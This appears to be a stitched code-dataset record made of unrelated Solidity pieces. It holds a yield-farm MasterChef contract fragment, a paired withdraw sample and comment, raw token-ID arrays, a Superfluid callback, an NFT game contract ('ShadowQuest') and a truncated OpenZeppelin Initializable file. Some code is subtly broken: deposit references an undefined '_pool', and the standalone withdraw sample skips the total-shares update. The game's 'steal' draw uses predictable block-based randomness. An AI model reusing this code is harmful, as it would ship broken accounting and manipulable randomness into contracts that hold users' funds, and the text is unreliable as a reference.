} // View function to see pending Pud on frontend. function pendingPud(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accPudPerShare = pool.accPudPerShare; uint256 lpSupply = pool.totalShares; if (block.number > pool.lastRewardBlock && lpSupply != 0 && pool.allocPoint > 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 pudReward = multiplier.mul(pudPerBlock).mul(pool.allocPoint).div( totalAllocPoint ); accPudPerShare = accPudPerShare.add( pudReward.mul(1e12).div(lpSupply) ); } return user.shares.mul(accPudPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.totalShares; if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 pudReward = 0; if (pool.allocPoint > 0){ pudReward = multiplier.mul(pudPerBlock).mul(pool.allocPoint).div( totalAllocPoint ); if (pudReward > 0){ pud.mint(devaddr, pudReward.div(devFundDivRate)); pud.mint(address(this), pudReward); } } pool.accPudPerShare = pool.accPudPerShare.add( pudReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for Pud allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.shares > 0) { uint256 pending = user.shares.mul(pool.accPudPerShare).div(1e12).sub( user.rewardDebt ); safePudTransfer(msg.sender, pending); } // uint256 _pool = balance(_pid); //get _pid lptoken balance if (_amount > 0) { uint256 _before = pool.lpToken.balanceOf(pool.strategy); pool.lpToken.safeTransferFrom( address(msg.sender), pool.strategy, _amount ); uint256 _after = pool.lpToken.balanceOf(pool.strategy); _amount = _after.sub(_before); // Additional check for deflationary tokens } uint256 shares = 0; if (pool.totalShares == 0) { shares = _amount; } else { shares = (_amount.mul(pool.totalShares)).div(_pool); } user.shares = user.shares.add(shares); //add shares instead of amount user.rewardDebt = user.shares.mul(pool.accPudPerShare).div(1e12); pool.totalShares = pool.totalShares.add(shares); //add shares in pool emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _shares) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.shares >= _shares, "withdraw: not good"); updatePool(_pid); uint256 r = (balance(_pid).mul(_shares)).div(pool.totalShares); uint256 pending = user.shares.mul(pool.accPudPerShare).div(1e12).sub( user.rewardDebt ); safePudTransfer(msg.sender, pending); user.shares = user.shares.sub(_shares); user.rewardDebt = user.shares.mul(pool.accPudPerShare).div(1e12); pool.totalShares = pool.totalShares.sub(_shares); //minus shares in pool // Check balance if (r > 0) { uint256 b = pool.lpToken.balanceOf(address(this)); IStrategy(pool.strategy).withdraw(r); uint256 _after = pool.lpToken.balanceOf(address(this)); uint256 _diff = _after.sub(b); if (_diff < r) { r = b.add(_diff); } pool.lpToken.safeTransfer(address(msg.sender), r); } emit Withdraw(msg.sender, _pid, r); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 r = (balance(_pid).mul(user.shares)).div(pool.totalShares); // Check balance uint256 b = pool.lpToken.balanceOf(address(this)); IStrategy(pool.strategy).withdraw(r); uint256 _after = pool.lpToken.balanceOf(address(this)); uint256 _diff = _after.sub(b); if (_diff < r) { r = b.add(_diff); } pool.lpToken.safeTransfer(address(msg.sender), r); emit EmergencyWithdraw(msg.sender, _pid, user.shares); user.shares = 0; user.rewardDebt = 0; } // Safe pud transfer function, just in case if rounding error causes pool to not have enough Pud. function safePudTransfer(address _to, uint256 _amount) internal { uint256 pudBal = pud.balanceOf(address(this)); if (_amount > pudBal) { pud.transfer(_to, pudBal); } else { pud.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } // **** Additional functions separate from the original masterchef contract **** function setTreasury(address _treasury) public onlyOwner { treasury = _treasury; } function setPudPerBlock(uint256 _pudPerBlock) public onlyOwner { require(_pudPerBlock > 0, "!pudPerBlock-0"); pudPerBlock = _pudPerBlock; } function setStartBlock(uint256 _startBlock) public onlyOwner { startBlock = _startBlock; uint256 length = poolInfo.length; for (uint256 _pid = 0; _pid < length; ++_pid) { PoolInfo storage pool = poolInfo[_pid]; pool.lastRewardBlock = startBlock; } } function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner { bonusEndBlock = _bonusEndBlock; } function setDevFundDivRate(uint256 _devFundDivRate) public onlyOwner { require(_devFundDivRate > 0, "!devFundDivRate-0"); devFundDivRate = _devFundDivRate; } function balance(uint256 _pid) public view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; return IStrategy(pool.strategy).balanceOf(); } function setPoolStrategy(uint256 _pid,address _strategy) public onlyOwner { PoolInfo storage pool = poolInfo[_pid]; IStrategy(pool.strategy).harvest(); IStrategy(pool.strategy).withdrawAll(_strategy); pool.strategy = _strategy; } }
Withdraw LP tokens from MasterChef. Check balance
function withdraw(uint256 _pid, uint256 _shares) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.shares >= _shares, "withdraw: not good"); updatePool(_pid); uint256 r = (balance(_pid).mul(_shares)).div(pool.totalShares); uint256 pending = user.shares.mul(pool.accPudPerShare).div(1e12).sub( user.rewardDebt ); safePudTransfer(msg.sender, pending); user.shares = user.shares.sub(_shares); user.rewardDebt = user.shares.mul(pool.accPudPerShare).div(1e12); if (r > 0) { uint256 b = pool.lpToken.balanceOf(address(this)); IStrategy(pool.strategy).withdraw(r); uint256 _after = pool.lpToken.balanceOf(address(this)); uint256 _diff = _after.sub(b); if (_diff < r) { r = b.add(_diff); } pool.lpToken.safeTransfer(address(msg.sender), r); } emit Withdraw(msg.sender, _pid, r); }
7,245,958
[ 1, 1190, 9446, 511, 52, 2430, 628, 13453, 39, 580, 74, 18, 2073, 11013, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 12, 11890, 5034, 389, 6610, 16, 2254, 5034, 389, 30720, 13, 1071, 288, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 67, 6610, 15533, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 67, 6610, 6362, 3576, 18, 15330, 15533, 203, 203, 3639, 2583, 12, 1355, 18, 30720, 1545, 389, 30720, 16, 315, 1918, 9446, 30, 486, 7494, 8863, 203, 3639, 1089, 2864, 24899, 6610, 1769, 203, 203, 3639, 2254, 5034, 436, 273, 261, 12296, 24899, 6610, 2934, 16411, 24899, 30720, 13, 2934, 2892, 12, 6011, 18, 4963, 24051, 1769, 540, 203, 3639, 2254, 5034, 4634, 273, 203, 5411, 729, 18, 30720, 18, 16411, 12, 6011, 18, 8981, 52, 1100, 2173, 9535, 2934, 2892, 12, 21, 73, 2138, 2934, 1717, 12, 203, 7734, 729, 18, 266, 2913, 758, 23602, 203, 5411, 11272, 203, 203, 3639, 4183, 52, 1100, 5912, 12, 3576, 18, 15330, 16, 4634, 1769, 203, 3639, 729, 18, 30720, 273, 729, 18, 30720, 18, 1717, 24899, 30720, 1769, 203, 3639, 729, 18, 266, 2913, 758, 23602, 273, 729, 18, 30720, 18, 16411, 12, 6011, 18, 8981, 52, 1100, 2173, 9535, 2934, 2892, 12, 21, 73, 2138, 1769, 203, 203, 3639, 309, 261, 86, 405, 374, 13, 288, 203, 5411, 2254, 5034, 324, 273, 2845, 18, 9953, 1345, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 203, 5411, 467, 4525, 12, 6011, 18, 14914, 2934, 1918, 9446, 12, 86, 1769, 203, 5411, 2254, 5034, 389, 5205, 273, 2845, 18, 9953, 1345, 18, 12296, 951, 12, 2867, 12, 2 ]
./full_match/80001/0xdCdf0B3d68A4E11eF2703b87020dC5a9c66babf7/sources/@superfluid-finance/ethereum-contracts/contracts/apps/SuperAppBaseFlow.sol
we're not allowed to revert in this callback, thus just return ctx on failing checks
function afterAgreementTerminated( ISuperToken superToken, address agreementClass, bytes32 /*agreementId*/, bytes calldata agreementData, bytes calldata cbdata, bytes calldata ctx ) external override returns (bytes memory newCtx) { if (msg.sender != address(HOST) || !isAcceptedAgreement(agreementClass) || !isAcceptedSuperToken(superToken)) { return ctx; } (address sender, address receiver) = abi.decode(agreementData, (address, address)); (uint256 lastUpdated, int96 previousFlowRate) = abi.decode(cbdata, (uint256, int96)); return onFlowDeleted( superToken, sender, receiver, previousFlowRate, lastUpdated, ctx ); }
856,051
[ 1, 1814, 4565, 486, 2935, 358, 15226, 316, 333, 1348, 16, 12493, 2537, 327, 1103, 603, 21311, 4271, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1839, 17420, 21888, 12, 203, 3639, 467, 8051, 1345, 2240, 1345, 16, 203, 3639, 1758, 19602, 797, 16, 203, 3639, 1731, 1578, 1748, 31135, 548, 5549, 16, 203, 3639, 1731, 745, 892, 19602, 751, 16, 203, 3639, 1731, 745, 892, 2875, 892, 16, 203, 3639, 1731, 745, 892, 1103, 203, 565, 262, 3903, 3849, 1135, 261, 3890, 3778, 394, 6442, 13, 288, 203, 3639, 309, 261, 3576, 18, 15330, 480, 1758, 12, 8908, 13, 203, 5411, 747, 401, 291, 18047, 17420, 12, 31135, 797, 13, 203, 5411, 747, 401, 291, 18047, 8051, 1345, 12, 9565, 1345, 3719, 203, 3639, 288, 203, 5411, 327, 1103, 31, 203, 3639, 289, 203, 203, 3639, 261, 2867, 5793, 16, 1758, 5971, 13, 273, 24126, 18, 3922, 12, 31135, 751, 16, 261, 2867, 16, 1758, 10019, 203, 3639, 261, 11890, 5034, 1142, 7381, 16, 509, 10525, 2416, 5249, 4727, 13, 273, 24126, 18, 3922, 12, 7358, 892, 16, 261, 11890, 5034, 16, 509, 10525, 10019, 203, 203, 3639, 327, 203, 5411, 603, 5249, 7977, 12, 203, 7734, 2240, 1345, 16, 203, 7734, 5793, 16, 203, 7734, 5971, 16, 203, 7734, 2416, 5249, 4727, 16, 203, 7734, 1142, 7381, 16, 203, 7734, 1103, 203, 5411, 11272, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol'; import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol'; import './ERC721Upgradeable.sol'; interface IHonorToken { function updateBalance( address wallet, uint256 debit, uint256 credit ) external; function mint(address wallet, uint256 amount) external; function burn(address wallet, uint256 amount) external; function balanceOf(address wallet) external view returns (uint256); } /*** * .oooooo..o ooooo ooooo .o. oooooooooo. .oooooo. oooooo oooooo oooo * d8P' `Y8 `888' `888' .888. `888' `Y8b d8P' `Y8b `888. `888. .8' * Y88bo. 888 888 .8"888. 888 888 888 888 `888. .8888. .8' * `"Y8888o. 888ooooo888 .8' `888. 888 888 888 888 `888 .8'`888. .8' * `"Y88b 888 888 .88ooo8888. 888 888 888 888 `888.8' `888.8' * oo .d8P 888 888 .8' `888. 888 d88' `88b d88' `888' `888' * 8""88888P' o888o o888o o88o o8888o o888bood8P' `Y8bood8P' `8' `8' * * * * .oooooo. ooooo ooo oooooooooooo .oooooo..o ooooooooooooo * d8P' `Y8b `888' `8' `888' `8 d8P' `Y8 8' 888 `8 * 888 888 888 8 888 Y88bo. 888 * 888 888 888 8 888oooo8 `"Y8888o. 888 * 888 888 888 8 888 " `"Y88b 888 * `88b d88b `88. .8' 888 o oo .d8P 888 * `Y8bood8P'Ybd' `YbodP' o888ooooood8 8""88888P' o888o * * * */ contract ShadowQuest is OwnableUpgradeable, ERC721Upgradeable { event Move( address indexed owner, uint256 indexed tokenId, uint256 indexed direction ); event LocationChanged( uint8 indexed locationIdFrom, uint8 indexed locationIdTo, uint256 amount ); uint256 public constant MAX_GEN0_SUPPLY = 9996; uint256 public constant MAX_GEN1_SUPPLY = 18000; uint256 public constant SALE_PRIVATE_PRICE = 0.075 ether; uint256 public constant SALE_PUBLIC_PRICE = 0.08 ether; uint256 public SALE_PUBLIC_STARTED_AT; uint256 public SALE_PRIVATE_STARTED_AT; uint256 public SALE_PRIVATE_MAX_SUPPLY; uint256 public gen0Supply; uint256 public gen1Supply; string public provenanceHash; IHonorToken public honorContract; address private _proxyRegistryAddress; address private _verifier; string private _baseTokenURI; struct TokenMeta { address owner; uint32 movedAt; uint8 location; uint56 meta; } mapping(uint256 => TokenMeta) public tokenState; uint256[] internal _tokenStateKeys; mapping(address => uint16) public _tokenOwnerState; mapping(address => int16) private _balances; uint256 public locationsBalance; uint256[] public samsarIds; mapping(address => uint256) public honrDeposited; mapping(address => uint256) public honrWithdrawn; function initialize(address verifier_, address proxyRegistryAddress_) public initializer { __ERC721_init('ShadowQuest', 'SQ'); __Ownable_init(); _verifier = verifier_; _proxyRegistryAddress = proxyRegistryAddress_; SALE_PRIVATE_MAX_SUPPLY = 3000; } /** * This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea. */ function _msgSender() internal view override returns (address sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = msg.sender; } return sender; } function isOnArena(uint256 tokenId) internal view returns (bool) { return tokenState[tokenId].location > 0; } function actualOwnerOf(uint256 tokenId) public view returns (address) { if (tokenState[tokenId].owner != address(0)) { return tokenState[tokenId].owner; } address tokenIdOwner = address(uint160(tokenId)); uint16 tokenIndex = uint16(tokenId >> 160); require(_tokenOwnerState[tokenIdOwner] != 0, 'SQ: not minted'); require( tokenIndex < _tokenOwnerState[tokenIdOwner], 'SQ: invalid index' ); return tokenIdOwner; } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner_) public view virtual override returns (uint256) { require( owner_ != address(0), 'ERC721: balance query for the zero address' ); if (owner_ == address(this)) { return locationsBalance; } return uint16(int16(_tokenOwnerState[owner_]) + _balances[owner_]); } function ownerOf(uint256 tokenId) public view virtual override returns (address) { if (isOnArena(tokenId)) { return address(this); } return actualOwnerOf(tokenId); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual override returns (bool) { if (tokenState[tokenId].owner != address(0)) { return true; } address tokenIdOwner = address(uint160(tokenId)); uint16 tokenIndex = uint16(tokenId >> 160); return (_tokenOwnerState[tokenIdOwner] != 0) && (tokenIndex < _tokenOwnerState[tokenIdOwner]); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual override { require( ownerOf(tokenId) == from, 'ERC721: transfer from incorrect owner' ); require(to != address(0), 'ERC721: transfer to the zero address'); require(to != from, "ERC721: can't transfer themself"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); if (tokenState[tokenId].owner == address(0)) { _tokenStateKeys.push(tokenId); } _balances[from] -= 1; _balances[to] += 1; tokenState[tokenId].owner = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } function _recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) { return ECDSAUpgradeable.recover( ECDSAUpgradeable.toEthSignedMessageHash(hash), signature ); } function random(uint256 nonce, uint256 number) internal view returns (uint256) { return uint256( keccak256( abi.encodePacked(block.timestamp, block.difficulty, nonce) ) ) % (number + 1); } event MintGen1( address indexed owner, uint256 indexed nonce, uint16 mintedAmount ); event Steal( address indexed owner, address indexed samsarOwner, uint256 indexed samsarId, uint256 tokenId ); function mintGen1( uint16 expectedAmount, uint256[] calldata samsarIds_, uint256 nonce, uint256 timestamp, bytes memory sig ) external { address sender = _msgSender(); uint16 tokenAmount = _tokenOwnerState[sender]; uint256 amount = expectedAmount - tokenAmount; require( amount > 0 && amount <= 10 && samsarIds_.length == amount, 'SQ: invalid amount' ); require( gen1Supply + amount < MAX_GEN1_SUPPLY, 'SQ: gen1 supply exceeded' ); require(block.timestamp < timestamp, 'SQ: outdated transaction'); bytes32 hash = keccak256( abi.encodePacked( sender, expectedAmount, samsarIds_, nonce, timestamp ) ); require( _verifier == _recoverSigner(hash, sig), 'SQ: invalid signature' ); gen1Supply += amount; uint256 rand = random(nonce, 11 - amount); if (rand <= amount - 1) { address samsarOwner = actualOwnerOf(samsarIds_[rand]); uint256 tokenId = uint256(uint160(samsarOwner)) | (uint256(_tokenOwnerState[samsarOwner]) << 160); _tokenOwnerState[samsarOwner] += 1; amount -= 1; emit Transfer(address(0), samsarOwner, tokenId); emit Steal(sender, samsarOwner, samsarIds_[rand], tokenId); } uint256 ownerBase = uint256(uint160(sender)); uint16 minted; for (uint256 index; index < amount; index++) { emit Transfer( address(0), sender, ownerBase | (uint256(_tokenOwnerState[sender] + minted) << 160) ); minted += 1; } emit MintGen1(sender, nonce, minted); if (minted > 0) { _tokenOwnerState[sender] += minted; } } function move( uint8 locationIdFrom, uint8 locationIdTo, uint256[] calldata tokenIds, /** * nation, notIterable, samsarNotIterable */ uint256[] calldata tokenMeta, uint256 timestamp, bytes memory sig ) external { require(block.timestamp < timestamp, 'SQ: outdated transaction'); address sender = _msgSender(); bytes32 hash = keccak256( abi.encodePacked( sender, locationIdFrom, locationIdTo, tokenIds, tokenMeta, timestamp ) ); require( _verifier == _recoverSigner(hash, sig), 'SQ: invalid signature' ); for (uint256 index; index < tokenIds.length; index++) { uint256 tokenId = tokenIds[index]; require( actualOwnerOf(tokenId) == sender, 'SQ: not owner of the token' ); TokenMeta storage _tokenMeta = tokenState[tokenId]; require( _tokenMeta.location == locationIdFrom, 'SQ: incorrect location' ); if (uint8(tokenMeta[index] >> 8) == 1) { _tokenStateKeys.push(tokenId); } if (uint8(tokenMeta[index] >> 16) == 1) { samsarIds.push(tokenId); } tokenState[tokenId] = TokenMeta({ owner: sender, movedAt: uint32(block.timestamp), location: locationIdTo, meta: uint8(tokenMeta[index]) }); if (locationIdTo == 0) { emit Transfer(address(this), sender, tokenId); } else if (locationIdFrom == 0) { emit Transfer(sender, address(this), tokenId); } } uint256 tokensAmount = tokenIds.length; if (locationIdFrom == 0) { locationsBalance += tokensAmount; } else if (locationIdTo == 0) { locationsBalance -= tokensAmount; } emit LocationChanged(locationIdFrom, locationIdTo, tokensAmount); } event HonrWithdraw( address indexed wallet, uint256 indexed nonce, uint256 amount ); function honrWithdraw( uint256 amount, uint256 expectedAmount, uint256 nonce, uint256 timestamp, bytes memory sig ) external { address sender = _msgSender(); bytes32 hash = keccak256( abi.encodePacked(sender, amount, expectedAmount, nonce, timestamp) ); require( _verifier == _recoverSigner(hash, sig), 'SQ: invalid signature' ); require( honrWithdrawn[sender] + amount == expectedAmount, 'SQ: invalid transaction' ); honorContract.mint(sender, amount); honrWithdrawn[sender] += amount; emit HonrWithdraw(sender, nonce, amount); } event HonrDeposit(address indexed wallet, uint256 amount); function honrDeposit( uint256 amount, uint256 timestamp, bytes memory sig ) external { address sender = _msgSender(); bytes32 hash = keccak256(abi.encodePacked(sender, amount, timestamp)); require( _verifier == _recoverSigner(hash, sig), 'SQ: invalid signature' ); honorContract.burn(sender, amount); honrDeposited[sender] += amount; emit HonrDeposit(sender, amount); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner_, address operator_) public view override returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(_proxyRegistryAddress); if (address(proxyRegistry.proxies(owner_)) == operator_) { return true; } return super.isApprovedForAll(owner_, operator_); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return gen0Supply + gen1Supply - locationsBalance; } struct TokenData { address owner; uint8 location; uint32 movedAt; uint56 meta; uint256 tokenId; } function sliceTokenStateArray( TokenData[] memory arr, uint256 start, uint256 length ) internal pure returns (TokenData[] memory) { TokenData[] memory result = new TokenData[](length); for (uint256 index; index < length; index++) { result[index] = arr[start + index]; } return result; } function getSamsarTokens() external view returns (uint256[] memory) { return samsarIds; } function getTokenStateKeys() external view returns (uint256[] memory) { return _tokenStateKeys; } /** * @dev location_ == -1 – any location */ function getOwnerTokens(address owner_, int8 location_) public view returns (TokenData[] memory) { require( owner_ != address(0), 'ERC721: balance query for the zero address' ); uint256 balance = balanceOf(owner_); TokenData[] memory ownedTokens = new TokenData[](balance); uint256 ownerBase = uint256(uint160(owner_)); uint256 mintedAmount = _tokenOwnerState[owner_]; uint256 resultIndex; for (uint256 index; index < mintedAmount; index++) { uint256 tokenId = ownerBase | (index << 160); TokenMeta storage currentTokenState = tokenState[tokenId]; if ( currentTokenState.owner == address(0) && (location_ == -1 || location_ == 0) ) { ownedTokens[resultIndex++] = TokenData({ owner: currentTokenState.owner, location: currentTokenState.location, movedAt: currentTokenState.movedAt, meta: currentTokenState.meta, tokenId: tokenId }); } else if (currentTokenState.owner == owner_) { if ( location_ == -1 || uint8(location_) == currentTokenState.location ) { ownedTokens[resultIndex++] = TokenData({ owner: currentTokenState.owner, location: currentTokenState.location, movedAt: currentTokenState.movedAt, meta: currentTokenState.meta, tokenId: tokenId }); } } } for (uint256 index = 0; index < _tokenStateKeys.length; index++) { if (resultIndex == balance) { break; } uint256 tokenId = _tokenStateKeys[index]; if (tokenState[tokenId].owner != owner_) { continue; } address tokenIdOwner = address(uint160(tokenId)); if (tokenIdOwner == owner_) { continue; } if ( location_ == -1 || tokenState[tokenId].location == uint8(location_) ) { TokenMeta storage currentTokenState = tokenState[tokenId]; ownedTokens[resultIndex++] = TokenData({ owner: currentTokenState.owner, location: currentTokenState.location, movedAt: currentTokenState.movedAt, meta: currentTokenState.meta, tokenId: tokenId }); } } return sliceTokenStateArray(ownedTokens, 0, resultIndex); } /* OwnerOnly */ function setVerifier(address verifier_) external onlyOwner { _verifier = verifier_; } function setBaseURI(string memory baseURI_) external onlyOwner { _baseTokenURI = baseURI_; } function setState( bool publicSaleState_, bool privateSaleState_, uint256 maxPresaleSupply_ ) external onlyOwner { SALE_PUBLIC_STARTED_AT = publicSaleState_ ? block.timestamp : 0; SALE_PRIVATE_STARTED_AT = privateSaleState_ ? block.timestamp : 0; SALE_PRIVATE_MAX_SUPPLY = maxPresaleSupply_; } function withdraw(uint256 amount) public onlyOwner { (bool success, ) = _msgSender().call{value: amount}(''); require(success, 'Withdraw failed'); } function withdrawAll() external onlyOwner { withdraw(address(this).balance); } function setHonorContract(IHonorToken honorContract_) external onlyOwner { honorContract = honorContract_; } function setLocationsBalance(uint256 amount) external onlyOwner { locationsBalance = amount; } function pushTokenStateKeys(uint256[] calldata tokenIds) external onlyOwner { uint256 tokensAmount = tokenIds.length; for (uint256 index; index < tokensAmount; index++) { _tokenStateKeys.push(tokenIds[index]); } } function _mintGen0(address sender, uint16 amount) internal { require( gen0Supply + amount <= MAX_GEN0_SUPPLY, 'SQ: gen0 supply overflow' ); uint16 tokensAmount = _tokenOwnerState[sender] + amount; uint256 ownerBase = uint256(uint160(sender)); for ( uint256 index = _tokenOwnerState[sender]; index < tokensAmount; index++ ) { emit Transfer(address(0), sender, ownerBase | (index << 160)); } _tokenOwnerState[sender] = tokensAmount; gen0Supply += amount; } function mintReserved(address wallet, uint16 amount) external onlyOwner { address receiver = wallet == address(0) ? _msgSender() : wallet; _mintGen0(receiver, amount); } function revertFalseMint(address wallet, uint16 amount) external onlyOwner { gen1Supply -= amount; _tokenOwnerState[wallet] -= amount; } } contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : 